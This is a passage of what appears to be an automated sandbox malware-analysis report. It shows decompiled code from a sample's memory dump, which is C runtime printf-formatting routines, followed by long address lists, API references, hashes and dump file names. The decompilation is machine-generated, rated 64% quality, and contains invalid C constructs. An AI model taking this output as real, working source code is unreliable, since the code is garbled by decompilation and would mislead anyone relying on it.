																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																					goto L187;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00428200(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ACF0(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041ACF0(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				if(E0043B430(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448) < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			goto L187;
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00428200(__ebp + 0x14);
																			if(E00433DB0() != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L187;
																			}
																			L107:
																			__ecx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E220();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				goto L187;
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422D10(__ecx))) = 0x16;
																				__eax = E00422AA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ACC0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428200(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				goto L105;
																			} else {
																				L88:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041ACF0(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					if(E004310C0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478)) != 0) {
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																				}
																				L97:
																				L105:
																				goto L187;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L144:
																			 *((intOrPtr*)(__ebp - 0x460)) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *((intOrPtr*)(__ebp - 0x460)) =  *((intOrPtr*)(__ebp - 0x460)) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			goto L187;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0043c24d
0x0043c24d
0x0043c24d
0x0043c24d
0x0043c24d
0x0043c24d
0x0043c24d
0x0043c24d
0x00000000
0x0043c2c2
0x00000000
0x0043c2c2
0x00000000
0x0043c2c2
0x0043c2c2
0x0043c2ca
0x0043c2ec
0x0043c2f2
0x0043c317
0x0043c35e
0x0043c361
0x0043c382
0x0043c387
0x0043c38c
0x0043c392
0x0043c363
0x0043c367
0x0043c36c
0x0043c36f
0x0043c370
0x0043c376
0x0043c376
0x0043c319
0x0043c31c
0x0043c31f
0x0043c341
0x0043c346
0x0043c34c
0x0043c34d
0x0043c353
0x0043c321
0x0043c325
0x0043c32a
0x0043c32e
0x0043c32f
0x0043c335
0x0043c335
0x0043c359
0x0043c2f4
0x0043c2f8
0x0043c2fd
0x0043c300
0x0043c306
0x0043c306
0x0043c2cc
0x0043c2d0
0x0043c2d5
0x0043c2d8
0x0043c2de
0x0043c2de
0x0043c39e
0x0043c3e0
0x0043c3e6
0x0043c3f2
0x00000000
0x0043c3a0
0x0043c3a0
0x0043c3a0
0x0043c3a7
0x00000000
0x0043c3b4
0x0043c3b4
0x0043c3c2
0x0043c3c7
0x0043c3cd
0x0043c3db
0x0043c3f8
0x0043c400
0x0043c422
0x0043c422
0x0043c42c
0x0043c43d
0x0043c447
0x0043c449
0x0043c449
0x0043c42e
0x0043c42e
0x0043c42e
0x0043c45c
0x0043c45e
0x0043c45e
0x0043c46b
0x0043c46e
0x0043c46e
0x0043c474
0x0043c477
0x0043c47c
0x00000000
0x00000000
0x0043c48c
0x0043c48f
0x0043c499
0x0043c4a8
0x0043c4b1
0x0043c4c7
0x0043c4cd
0x0043c4da
0x0043c4e8
0x0043c4e8
0x0043c4f7
0x0043c4ff
0x0043c4ff
0x0043c507
0x0043c510
0x0043c519
0x0043c525
0x0043c53e
0x0043c544
0x0043c54d
0x0043c54d
0x00000000
0x0043c550
0x00000000
0x0043c550
0x00000000
0x0043c550
0x00000000
0x0043c550
0x00000000
0x0043c550
0x00000000
0x0043c550
0x00000000
0x0043c550
0x0043c550
0x0043c550
0x0043c554
0x0043c730
0x0043c734
0x0043c73c
0x0043c741
0x0043c744
0x0043c744
0x0043c74b
0x0043c74b
0x0043b8cb
0x0043b8d2
0x0043b8df
0x0043b8e4
0x00000000
0x0043b8f7
0x0043b901
0x0043b928
0x0043b90f
0x0043b920
0x0043b920
0x0043b901
0x0043b932
0x0043b938
0x0043b944
0x0043b947
0x0043b955
0x0043b958
0x0043b965
0x0043ba0a
0x0043ba10
0x0043ba1d
0x00000000
0x00000000
0x0043ba23
0x0043ba29
0x00000000
0x0043ba30
0x0043ba30
0x0043ba4a
0x0043ba4f
0x00000000
0x00000000
0x0043ba57
0x0043ba57
0x0043ba5e
0x0043ba61
0x0043ba64
0x0043ba67
0x0043ba6a
0x0043ba6d
0x0043ba70
0x0043ba77
0x0043ba7e
0x00000000
0x00000000
0x0043ba8a
0x0043ba8a
0x0043ba91
0x0043ba9d
0x0043baa0
0x0043baad
0x00000000
0x00000000
0x0043baaf
0x0043bab5
0x0043bab5
0x0043babc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bb00
0x0043bb00
0x0043bb0a
0x0043bb37
0x0043bb41
0x0043bb41
0x0043bb45
0x0043bb0c
0x0043bb0c
0x0043bb18
0x0043bb1f
0x0043bb24
0x0043bb27
0x0043bb2a
0x0043bb2d
0x0043bb2f
0x0043bb2f
0x0043bb32
0x00000000
0x00000000
0x0043bb4d
0x0043bb4d
0x00000000
0x00000000
0x0043bb59
0x0043bb59
0x0043bb63
0x0043bb83
0x0043bb86
0x0043bb90
0x0043bb90
0x0043bb94
0x0043bb65
0x0043bb65
0x0043bb71
0x0043bb78
0x0043bb7a
0x0043bb7a
0x0043bb81
0x00000000
0x00000000
0x0043bb9c
0x0043bb9c
0x0043bba3
0x0043bbaf
0x0043bbb2
0x0043bbbf
0x0043bcd2
0x00000000
0x0043bcd2
0x0043bbc5
0x0043bbcb
0x0043bbcb
0x0043bbd2
0x00000000
0x0043bc09
0x0043bc09
0x0043bc0c
0x0043bc12
0x0043bc39
0x0043bc39
0x0043bc3c
0x0043bc42
0x0043bc66
0x0043bc66
0x0043bc69
0x0043bc6f
0x0043bca8
0x0043bcb9
0x00000000
0x0043bcb9
0x0043bc71
0x0043bc71
0x0043bc74
0x0043bc7a
0x00000000
0x00000000
0x0043bc7c
0x0043bc7c
0x0043bc7f
0x0043bc85
0x00000000
0x00000000
0x0043bc87
0x0043bc87
0x0043bc8a
0x0043bc90
0x00000000
0x00000000
0x0043bc92
0x0043bc92
0x0043bc95
0x0043bc9b
0x00000000
0x00000000
0x0043bc9d
0x0043bc9d
0x0043bca0
0x0043bca6
0x0043bcaa
0x00000000
0x0043bcaa
0x00000000
0x0043bca6
0x0043bc44
0x0043bc44
0x0043bc47
0x0043bc4e
0x00000000
0x0043bc50
0x0043bc53
0x0043bc56
0x0043bc5c
0x0043bc61
0x00000000
0x0043bc61
0x0043bc4e
0x0043bc14
0x0043bc14
0x0043bc17
0x0043bc1e
0x00000000
0x0043bc20
0x0043bc23
0x0043bc26
0x0043bc2c
0x0043bc31
0x00000000
0x0043bc31
0x00000000
0x0043bcbb
0x0043bcbb
0x0043bcbe
0x0043bcc1
0x00000000
0x00000000
0x0043bbd9
0x0043bbd9
0x0043bbdc
0x0043bbe2
0x0043bbfe
0x0043bc01
0x0043bbe4
0x0043bbe4
0x0043bbe7
0x0043bbea
0x0043bbf0
0x0043bbf6
0x0043bbf6
0x00000000
0x00000000
0x0043bcc6
0x0043bcc9
0x0043bccf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bad9
0x0043bad9
0x0043badc
0x0043badf
0x00000000
0x00000000
0x0043bae4
0x0043bae7
0x0043baed
0x00000000
0x00000000
0x0043bace
0x0043bad1
0x0043bad4
0x00000000
0x00000000
0x0043bac3
0x0043bac6
0x0043bac9
0x00000000
0x00000000
0x0043baf2
0x0043baf5
0x0043baf8
0x00000000
0x00000000
0x0043bafb
0x00000000
0x00000000
0x0043b96b
0x0043b96b
0x0043b96d
0x0043b97b
0x0043b96f
0x0043b96f
0x0043b96f
0x0043b98b
0x0043b998
0x0043b99a
0x0043b99f
0x0043b9a1
0x0043b9a6
0x0043b9ab
0x0043b9ad
0x0043b9b2
0x0043b9b8
0x0043b9ba
0x0043b9ba
0x0043b9b8
0x0043b9bb
0x0043b9c2
0x00000000
0x0043b9c4
0x0043b9c9
0x0043b9e5
0x0043b9ed
0x0043b9fa
0x0043b9ff
0x0043c814
0x0043c821
0x0043c821
0x0043b9c2
0x0043b965
0x0043c750
0x0043c757
0x0043c76e
0x0043c762
0x0043c762
0x0043c762
0x0043c778
0x0043c77e
0x0043c78b
0x0043c78d
0x0043c792
0x0043c794
0x0043c799
0x0043c79e
0x0043c7a0
0x0043c7a5
0x0043c7ab
0x0043c7ad
0x0043c7ad
0x0043c7ab
0x0043c7b5
0x0043c800
0x0043c809
0x0043c80e
0x0043c7b7
0x0043c7bc
0x0043c7d8
0x0043c7e0
0x0043c7ed
0x0043c7f2
0x0043c7f2
0x00000000
0x0043c7b5
0x0043c55a
0x0043c560
0x0043c56a
0x0043c584
0x0043c59e
0x0043c5a5
0x0043c5a9
0x0043c5a9
0x0043c586
0x0043c58b
0x0043c58f
0x0043c58f
0x0043c56c
0x0043c571
0x0043c575
0x0043c575
0x0043c56a
0x0043c5b9
0x0043c5c5
0x0043c5db
0x0043c5e0
0x0043c5e0
0x0043c5f6
0x0043c5fb
0x0043c604
0x0043c622
0x0043c627
0x0043c627
0x0043c62e
0x0043c6e8
0x0043c6fb
0x0043c700
0x00000000
0x0043c63e
0x0043c63e
0x0043c641
0x0043c64a
0x0043c650
0x0043c650
0x0043c65f
0x0043c667
0x00000000
0x00000000
0x0043c669
0x0043c66c
0x0043c691
0x0043c696
0x0043c699
0x0043c6a6
0x0043c6b4
0x0043c6c7
0x0043c6cc
0x0043c6db
0x00000000
0x0043c6db
0x0043c6a8
0x0043c6a8
0x00000000
0x0043c6a8
0x0043c6e6
0x0043c703
0x0043c70a
0x0043c728
0x0043c72d
0x0043c72d
0x00000000
0x0043c70a
0x0043bcd7
0x0043bcd7
0x0043bcde
0x0043bce4
0x0043bcea
0x0043bced
0x0043bcf3
0x0043bd00
0x0043bd06
0x0043bd06
0x0043bd0d
0x00000000
0x0043c091
0x0043c091
0x0043c09f
0x0043c0a2
0x00000000
0x00000000
0x0043bd14
0x0043bd17
0x0043bd1d
0x0043bd22
0x0043bd25
0x0043bd25
0x00000000
0x00000000
0x0043be5a
0x0043be5d
0x0043be62
0x0043be67
0x0043be6a
0x0043be6a
0x00000000
0x00000000
0x0043c25d
0x0043c25d
0x00000000
0x00000000
0x0043bdc4
0x0043bdc4
0x0043bdd0
0x0043bddd
0x0043bdeb
0x0043bdeb
0x0043bdf1
0x0043bdf4
0x0043be00
0x0043be55
0x00000000
0x0043be55
0x0043bddf
0x0043bddf
0x0043bde9
0x0043be05
0x0043be08
0x0043be0e
0x0043be36
0x0043be3d
0x0043be43
0x0043be46
0x0043be49
0x0043be4f
0x0043be52
0x0043be10
0x0043be10
0x0043be16
0x0043be19
0x0043be1c
0x0043be22
0x0043be25
0x0043be28
0x0043be2a
0x0043be2d
0x0043be2d
0x00000000
0x0043be0e
0x00000000
0x00000000
0x0043c0a9
0x0043c0ac
0x0043c0af
0x0043c0b2
0x0043c0b8
0x0043c0bb
0x0043c0c6
0x0043c0d1
0x0043c0d5
0x0043c0ec
0x0043c0f3
0x0043c0f5
0x0043c0f5
0x0043c0fc
0x0043c103
0x0043c111
0x0043c114
0x0043c123
0x0043c12a
0x0043c13f
0x0043c12c
0x0043c12c
0x0043c12f
0x0043c135
0x0043c13a
0x0043c13a
0x0043c12a
0x0043c149
0x0043c14c
0x0043c14f
0x0043c152
0x0043c155
0x0043c158
0x0043c15e
0x0043c164
0x0043c16c
0x0043c16d
0x0043c170
0x0043c171
0x0043c174
0x0043c175
0x0043c17c
0x0043c17d
0x0043c180
0x0043c181
0x0043c184
0x0043c185
0x0043c18b
0x0043c18c
0x0043c19b
0x0043c19d
0x0043c1a3
0x0043c1a8
0x0043c1b0
0x0043c1b8
0x0043c1b9
0x0043c1bc
0x0043c1bd
0x0043c1cc
0x0043c1ce
0x0043c1ce
0x0043c1d1
0x0043c1db
0x0043c1e0
0x0043c1e6
0x0043c1e8
0x0043c1f0
0x0043c1f1
0x0043c1f4
0x0043c1f5
0x0043c203
0x0043c205
0x0043c205
0x0043c1e6
0x0043c208
0x0043c20b
0x0043c211
0x0043c216
0x0043c21b
0x0043c221
0x0043c224
0x0043c224
0x0043c227
0x0043c233
0x00000000
0x0043c233
0x0043c0d7
0x0043c0d7
0x0043c0e1
0x00000000
0x00000000
0x0043c0e3
0x0043c0e3
0x00000000
0x0043c0e3
0x0043c0c8
0x0043c0c8
0x00000000
0x00000000
0x0043bd28
0x0043bd28
0x0043bd33
0x0043bd3b
0x0043bd42
0x0043bd45
0x0043bd48
0x0043bda8
0x0043bd4a
0x0043bd51
0x0043bd57
0x0043bd5d
0x0043bd64
0x0043bd67
0x0043bd6d
0x0043bd75
0x0043bd77
0x0043bd7e
0x0043bd85
0x0043bd96
0x0043bd98
0x0043bd98
0x0043bd9f
0x0043bdaf
0x0043bdb5
0x0043bdb8
0x00000000
0x00000000
0x0043c23b
0x0043c23e
0x0043c241
0x0043c244
0x00000000
0x00000000
0x0043bf9a
0x0043bf9a
0x0043bfa6
0x0043bfb3
0x0043c05d
0x0043c05d
0x0043c060
0x0043c063
0x0043c077
0x0043c07d
0x0043c083
0x0043c065
0x0043c065
0x0043c06b
0x0043c072
0x0043c072
0x0043c085
0x00000000
0x0043c085
0x0043bfb9
0x0043bfb9
0x0043bfbb
0x0043bfc9
0x0043bfbd
0x0043bfbd
0x0043bfbd
0x0043bfd3
0x0043bfd9
0x0043bfe6
0x0043bfe8
0x0043bfed
0x0043bfef
0x0043bff4
0x0043bff9
0x0043bffb
0x0043c000
0x0043c006
0x0043c008
0x0043c008
0x0043c006
0x0043c010
0x0043c058
0x00000000
0x0043c012
0x0043c012
0x0043c017
0x0043c033
0x0043c03b
0x0043c045
0x0043c048
0x0043c04d
0x00000000
0x0043c04d
0x00000000
0x0043c2a4
0x0043c2a4
0x0043c2ae
0x0043c2b4
0x0043c2b9
0x0043c2bf
0x0043c2bf
0x00000000
0x00000000
0x0043c256
0x0043c256
0x00000000
0x00000000
0x0043be6d
0x0043be71
0x0043be7f
0x0043be82
0x0043be73
0x0043be73
0x0043be73
0x0043be88
0x0043be8e
0x0043be94
0x0043bea0
0x0043bea6
0x0043bea9
0x0043bf31
0x0043bf35
0x0043bf37
0x0043bf3d
0x0043bf3d
0x0043bf40
0x0043bf47
0x0043bf4a
0x0043bf50
0x0043bf50
0x0043bf50
0x0043bf56
0x0043bf5c
0x0043bf5f
0x0043bf67
0x00000000
0x00000000
0x0043bf69
0x0043bf69
0x0043bf6f
0x0043bf74
0x00000000
0x00000000
0x0043bf76
0x0043bf7c
0x0043bf7f
0x0043bf7f
0x0043bf87
0x0043bf8d
0x0043bf90
0x0043bf92
0x00000000
0x0043beaf
0x0043beaf
0x0043beb3
0x0043beb5
0x0043beba
0x0043beba
0x0043bebd
0x0043bec0
0x0043bec6
0x0043bed8
0x0043bed8
0x0043bed8
0x0043bee1
0x00000000
0x00000000
0x0043bee3
0x0043bee3
0x0043bee9
0x0043beee
0x00000000
0x00000000
0x0043bef0
0x0043bef0
0x0043bef9
0x0043beff
0x0043bf0d
0x0043bf15
0x0043bf18
0x0043bf18
0x0043bf24
0x0043bf27
0x0043bed2
0x0043bed5
0x0043bed5
0x0043bf2f
0x0043bf95
0x00000000
0x0043bf95
0x00000000
0x00000000
0x00000000
0x0043c269
0x0043c269
0x0043c273
0x0043c273
0x0043c27d
0x0043c283
0x0043c285
0x0043c28a
0x0043c294
0x0043c297
0x0043c29b
0x0043c29b
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bd0d
0x0043c550
0x0043c550
0x0043c550
0x0043c550
0x0043c550
0x0043c550
0x0043c550
0x0043c3a7
0x0043c39e
0x0043c2c2
0x0043c2c2
0x0043c2c2

APIs

_get_int64_arg.LIBCMTD ref: 0043C2D0
_get_int64_arg.LIBCMTD ref: 0043C2F8
__aullrem.LIBCMT ref: 0043C4A0
__aulldiv.LIBCMT ref: 0043C4C2

Strings

9, xrefs: 0043C4D3

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 5ae99c7e6c91eb87a82d43dd8e251c21e6227c974607261ca5a358c9ee9441eb
Instruction ID: d21a8846bf4590ab7572b438c582ff5747750e13bcf02b376f5c15e0564570be
Opcode Fuzzy Hash: 5ae99c7e6c91eb87a82d43dd8e251c21e6227c974607261ca5a358c9ee9441eb
Instruction Fuzzy Hash: 584105B1A00229DFDB24CF58C981BAEB7B4FB89314F1095DAE148B7205C7385A81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00434E3B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00434E3B(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t609;
				signed int _t645;
				signed int _t647;
				signed int _t649;
				signed int _t656;
				signed int _t696;
				intOrPtr _t697;
				intOrPtr _t698;
				signed int _t699;
				void* _t701;
				void* _t702;
				signed int _t710;

				L0:
				while(1) {
					L0:
					_t698 = __esi;
					_t697 = __edi;
					_t645 = __edx;
					_t589 = __ebx;
					 *(_t699 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t699 - 0x10) & 0x00008000) == 0) {
									_t647 =  *(_t699 - 0x10) & 0x00001000;
									if(_t647 == 0) {
										if(( *(_t699 - 0x10) & 0x00000020) == 0) {
											_t649 =  *(_t699 - 0x10) & 0x00000040;
											if(_t649 == 0) {
												_t496 = E00428200(_t699 + 0x14);
												_t702 = _t701 + 4;
												 *(_t699 - 0x2b8) = _t496;
												 *(_t699 - 0x2b4) = 0;
											} else {
												_t580 = E00428200(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t580;
												 *(_t699 - 0x2b4) = _t649;
											}
										} else {
											_t696 =  *(_t699 - 0x10) & 0x00000040;
											if(_t696 == 0) {
												_t581 = E00428200(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t699 - 0x2b4) = _t696;
											} else {
												_t584 = E00428200(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t584;
												 *(_t699 - 0x2b4) = _t696;
											}
										}
									} else {
										_t587 = E00428220(_t699 + 0x14);
										_t702 = _t701 + 4;
										 *(_t699 - 0x2b8) = _t587;
										 *(_t699 - 0x2b4) = _t647;
									}
								} else {
									_t588 = E00428220(_t699 + 0x14);
									_t702 = _t701 + 4;
									 *(_t699 - 0x2b8) = _t588;
									 *(_t699 - 0x2b4) = _t645;
								}
								if(( *(_t699 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t699 - 0x2c0) =  *(_t699 - 0x2b8);
									 *(_t699 - 0x2bc) =  *(_t699 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t710 =  *(_t699 - 0x2b4);
									if(_t710 > 0 || _t710 >= 0 &&  *(_t699 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t699 - 0x2c0) =  ~( *(_t699 - 0x2b8));
										 *(_t699 - 0x2bc) =  ~( *(_t699 - 0x2b4));
										 *(_t699 - 0x10) =  *(_t699 - 0x10) | 0x00000100;
										L171:
										if(( *(_t699 - 0x10) & 0x00008000) == 0 && ( *(_t699 - 0x10) & 0x00001000) == 0) {
											 *(_t699 - 0x2bc) =  *(_t699 - 0x2bc) & 0x00000000;
										}
										if( *(_t699 - 0x30) >= 0) {
											 *(_t699 - 0x10) =  *(_t699 - 0x10) & 0xfffffff7;
											if( *(_t699 - 0x30) > 0x200) {
												 *(_t699 - 0x30) = 0x200;
											}
										} else {
											 *(_t699 - 0x30) = 1;
										}
										if(( *(_t699 - 0x2c0) |  *(_t699 - 0x2bc)) == 0) {
											 *(_t699 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t699 - 4)) = _t699 - 0x49;
										while(1) {
											L181:
											_t655 =  *(_t699 - 0x30) - 1;
											 *(_t699 - 0x30) =  *(_t699 - 0x30) - 1;
											if( *(_t699 - 0x30) <= 0 && ( *(_t699 - 0x2c0) |  *(_t699 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t656 =  *(_t699 - 0x2c0);
											 *((intOrPtr*)(_t699 - 0x2ac)) = E00430630(_t656,  *(_t699 - 0x2bc),  *(_t699 - 8), _t655) + 0x30;
											asm("cdq");
											 *(_t699 - 0x2c0) = E004306B0( *(_t699 - 0x2c0),  *(_t699 - 0x2bc),  *(_t699 - 8), _t656);
											 *(_t699 - 0x2bc) = _t656;
											if( *((intOrPtr*)(_t699 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t699 - 0x2ac)) =  *((intOrPtr*)(_t699 - 0x2ac)) +  *((intOrPtr*)(_t699 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t699 - 4)))) =  *((intOrPtr*)(_t699 - 0x2ac));
											 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t699 - 0x24)) = _t699 - 0x49 -  *((intOrPtr*)(_t699 - 4));
										 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) + 1;
										if(( *(_t699 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t699 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t699 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t699 - 4)))) = 0x30;
											 *((intOrPtr*)(_t699 - 0x24)) =  *((intOrPtr*)(_t699 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t699 - 0x28)) != 0) {
																			L216:
																			if( *(_t699 - 0x20) != 0) {
																				L0041C3E0( *(_t699 - 0x20), 2);
																				_t702 = _t702 + 8;
